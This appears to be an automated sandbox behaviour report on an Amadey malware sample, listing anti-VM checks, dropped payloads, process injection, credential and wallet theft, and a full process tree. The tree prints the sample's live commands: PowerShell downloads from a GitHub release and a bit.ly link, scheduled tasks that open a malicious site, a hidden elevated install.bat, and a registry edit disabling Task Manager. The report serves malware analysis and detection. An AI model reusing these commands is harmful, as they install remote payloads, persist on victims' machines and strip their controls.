amadey | 35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
75	4000	powershell.exe
80	948	Process not Found
82	4000	powershell.exe
86	948	Process not Found
90	948	Process not Found
100	224	powershell.exe
101	224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe
4000	powershell.exe
224	powershell.exe
2800	powershell.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Hkbsse.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	NewLatest.exe

Executes dropped EXE 17 IoCs

pid	Process
1312	axplong.exe
5008	ama.exe
232	gold.exe
3940	lummac2.exe
4556	NewLatest.exe
4492	Hkbsse.exe
4480	Installer.exe
2840	legs.exe
5072	1.exe
2888	taskweaker.exe
2392	judit.exe
756	stub.exe
3064	Hkbsse.exe
2124	uwfhsrc
2716	axplong.exe
3028	Hkbsse.exe
4120	axplong.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	axplong.exe

Loads dropped DLL 32 IoCs

pid	Process
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe
756	stub.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Installer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
1312	axplong.exe
2716	axplong.exe
4120	axplong.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 232 set thread context of 2324	232	gold.exe	95
PID 2840 set thread context of 3464	2840	legs.exe	110
PID 2888 set thread context of 1736	2888	taskweaker.exe	137

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\axplong.job	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
File created	C:\Windows\Tasks\Hkbsse.job	NewLatest.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x00070000000232bd-322.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3692	232	WerFault.exe	93
5068	2840	WerFault.exe	106

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uwfhsrc
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uwfhsrc
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uwfhsrc

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
4744	tasklist.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Process not Found

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3744	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4852	schtasks.exe
948	schtasks.exe
4628	schtasks.exe
4608	schtasks.exe
4084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
1312	axplong.exe
1312	axplong.exe
4000	powershell.exe
4000	powershell.exe
4000	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
5072	1.exe
5072	1.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
5008	ama.exe
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
5008	ama.exe
5008	ama.exe
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
5008	ama.exe
5008	ama.exe
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found
3348	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
5072	1.exe
2124	uwfhsrc

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	3464	RegAsm.exe
Token: SeBackupPrivilege	3464	RegAsm.exe
Token: SeSecurityPrivilege	3464	RegAsm.exe
Token: SeSecurityPrivilege	3464	RegAsm.exe
Token: SeSecurityPrivilege	3464	RegAsm.exe
Token: SeSecurityPrivilege	3464	RegAsm.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	5008	ama.exe
Token: SeDebugPrivilege	2324	RegAsm.exe
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeShutdownPrivilege	3348	Process not Found
Token: SeCreatePagefilePrivilege	3348	Process not Found
Token: SeIncreaseQuotaPrivilege	4528	WMIC.exe
Token: SeSecurityPrivilege	4528	WMIC.exe
Token: SeTakeOwnershipPrivilege	4528	WMIC.exe
Token: SeLoadDriverPrivilege	4528	WMIC.exe
Token: SeSystemProfilePrivilege	4528	WMIC.exe
Token: SeSystemtimePrivilege	4528	WMIC.exe
Token: SeProfSingleProcessPrivilege	4528	WMIC.exe
Token: SeIncBasePriorityPrivilege	4528	WMIC.exe
Token: SeCreatePagefilePrivilege	4528	WMIC.exe
Token: SeBackupPrivilege	4528	WMIC.exe
Token: SeRestorePrivilege	4528	WMIC.exe
Token: SeShutdownPrivilege	4528	WMIC.exe
Token: SeDebugPrivilege	4528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4528	WMIC.exe
Token: SeRemoteShutdownPrivilege	4528	WMIC.exe
Token: SeUndockPrivilege	4528	WMIC.exe
Token: SeManageVolumePrivilege	4528	WMIC.exe
Token: 33	4528	WMIC.exe
Token: 34	4528	WMIC.exe
Token: 35	4528	WMIC.exe
Token: 36	4528	WMIC.exe
Token: SeDebugPrivilege	4744	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4528	WMIC.exe
Token: SeSecurityPrivilege	4528	WMIC.exe
Token: SeTakeOwnershipPrivilege	4528	WMIC.exe
Token: SeLoadDriverPrivilege	4528	WMIC.exe
Token: SeSystemProfilePrivilege	4528	WMIC.exe
Token: SeSystemtimePrivilege	4528	WMIC.exe
Token: SeProfSingleProcessPrivilege	4528	WMIC.exe
Token: SeIncBasePriorityPrivilege	4528	WMIC.exe
Token: SeCreatePagefilePrivilege	4528	WMIC.exe
Token: SeBackupPrivilege	4528	WMIC.exe
Token: SeRestorePrivilege	4528	WMIC.exe
Token: SeShutdownPrivilege	4528	WMIC.exe
Token: SeDebugPrivilege	4528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4528	WMIC.exe
Token: SeRemoteShutdownPrivilege	4528	WMIC.exe
Token: SeUndockPrivilege	4528	WMIC.exe
Token: SeManageVolumePrivilege	4528	WMIC.exe
Token: 33	4528	WMIC.exe
Token: 34	4528	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
4556	NewLatest.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 1312	3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe	91
PID 3400 wrote to memory of 1312	3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe	91
PID 3400 wrote to memory of 1312	3400	35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe	91
PID 1312 wrote to memory of 5008	1312	axplong.exe	92
PID 1312 wrote to memory of 5008	1312	axplong.exe	92
PID 1312 wrote to memory of 5008	1312	axplong.exe	92
PID 1312 wrote to memory of 232	1312	axplong.exe	93
PID 1312 wrote to memory of 232	1312	axplong.exe	93
PID 1312 wrote to memory of 232	1312	axplong.exe	93
PID 232 wrote to memory of 3084	232	gold.exe	94
PID 232 wrote to memory of 3084	232	gold.exe	94
PID 232 wrote to memory of 3084	232	gold.exe	94
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 232 wrote to memory of 2324	232	gold.exe	95
PID 1312 wrote to memory of 3940	1312	axplong.exe	98
PID 1312 wrote to memory of 3940	1312	axplong.exe	98
PID 1312 wrote to memory of 3940	1312	axplong.exe	98
PID 1312 wrote to memory of 4556	1312	axplong.exe	100
PID 1312 wrote to memory of 4556	1312	axplong.exe	100
PID 1312 wrote to memory of 4556	1312	axplong.exe	100
PID 4556 wrote to memory of 4492	4556	NewLatest.exe	101
PID 4556 wrote to memory of 4492	4556	NewLatest.exe	101
PID 4556 wrote to memory of 4492	4556	NewLatest.exe	101
PID 1312 wrote to memory of 4480	1312	axplong.exe	102
PID 1312 wrote to memory of 4480	1312	axplong.exe	102
PID 4480 wrote to memory of 1464	4480	Installer.exe	103
PID 4480 wrote to memory of 1464	4480	Installer.exe	103
PID 1312 wrote to memory of 2840	1312	axplong.exe	106
PID 1312 wrote to memory of 2840	1312	axplong.exe	106
PID 1312 wrote to memory of 2840	1312	axplong.exe	106
PID 1464 wrote to memory of 4608	1464	cmd.exe	105
PID 1464 wrote to memory of 4608	1464	cmd.exe	105
PID 2840 wrote to memory of 1468	2840	legs.exe	107
PID 2840 wrote to memory of 1468	2840	legs.exe	107
PID 2840 wrote to memory of 1468	2840	legs.exe	107
PID 2840 wrote to memory of 3372	2840	legs.exe	108
PID 2840 wrote to memory of 3372	2840	legs.exe	108
PID 2840 wrote to memory of 3372	2840	legs.exe	108
PID 2840 wrote to memory of 3052	2840	legs.exe	109
PID 2840 wrote to memory of 3052	2840	legs.exe	109
PID 2840 wrote to memory of 3052	2840	legs.exe	109
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 2840 wrote to memory of 3464	2840	legs.exe	110
PID 1464 wrote to memory of 4084	1464	cmd.exe	112
PID 1464 wrote to memory of 4084	1464	cmd.exe	112
PID 1464 wrote to memory of 4000	1464	cmd.exe	116
PID 1464 wrote to memory of 4000	1464	cmd.exe	116
PID 4492 wrote to memory of 5072	4492	Hkbsse.exe	121
PID 4492 wrote to memory of 5072	4492	Hkbsse.exe	121
PID 4492 wrote to memory of 5072	4492	Hkbsse.exe	121
PID 1312 wrote to memory of 2888	1312	axplong.exe	123
PID 1312 wrote to memory of 2888	1312	axplong.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe
"C:\Users\Admin\AppData\Local\Temp\35fba6d899b9814992a1493f4c4aaaf383f5a97611ea30cd7ccff678a5d2c36c.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5008
- - C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
    "C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3084
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2324
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 232 -s 324
      4⤵
      Program crash
      PID:3692
- - C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
    "C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"
    3⤵
    - Executes dropped EXE
    PID:3940
- - C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
    "C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
      "C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\Users\Admin\AppData\Local\Temp\1000020001\1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000020001\1.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:5072
- - C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c ins.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1464
    - - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4608
    - - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://bit.ly/4c7L8Zs' -UseBasicParsing >$null"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\install.bat' -Verb runAs -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat"
        6⤵
        
        PID:5068
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:00
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4852
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
        7⤵
        Modifies registry key
        
        PID:3744
        
        C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:948
        
        C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/frielandrews892/File/releases/download/File/File.zip' -OutFile 'C:\Users\Admin\AppData\Local\Corporation.zip'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:224
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Corporation.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Corporation'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /TN "Cleaner"
        5⤵
        
        PID:2856
- - C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe
    "C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1468
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3372
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3052
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 292
      4⤵
      Program crash
      PID:5068
- - C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exe
    "C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2888
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      PID:1736
- - C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe
    "C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe"
    3⤵
    - Executes dropped EXE
    PID:2392
  - - C:\Users\Admin\AppData\Local\Temp\onefile_2392_133637345819013849\stub.exe
      "C:\Users\Admin\AppData\Local\Temp\1000101001\judit.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:3912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3052
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:1708
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 232 -ip 232
1⤵
PID:392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2840 -ip 2840
1⤵
PID:3992

C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:3064

C:\Users\Admin\AppData\Roaming\uwfhsrc
C:\Users\Admin\AppData\Roaming\uwfhsrc
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2124

C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2716

C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:3028

C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion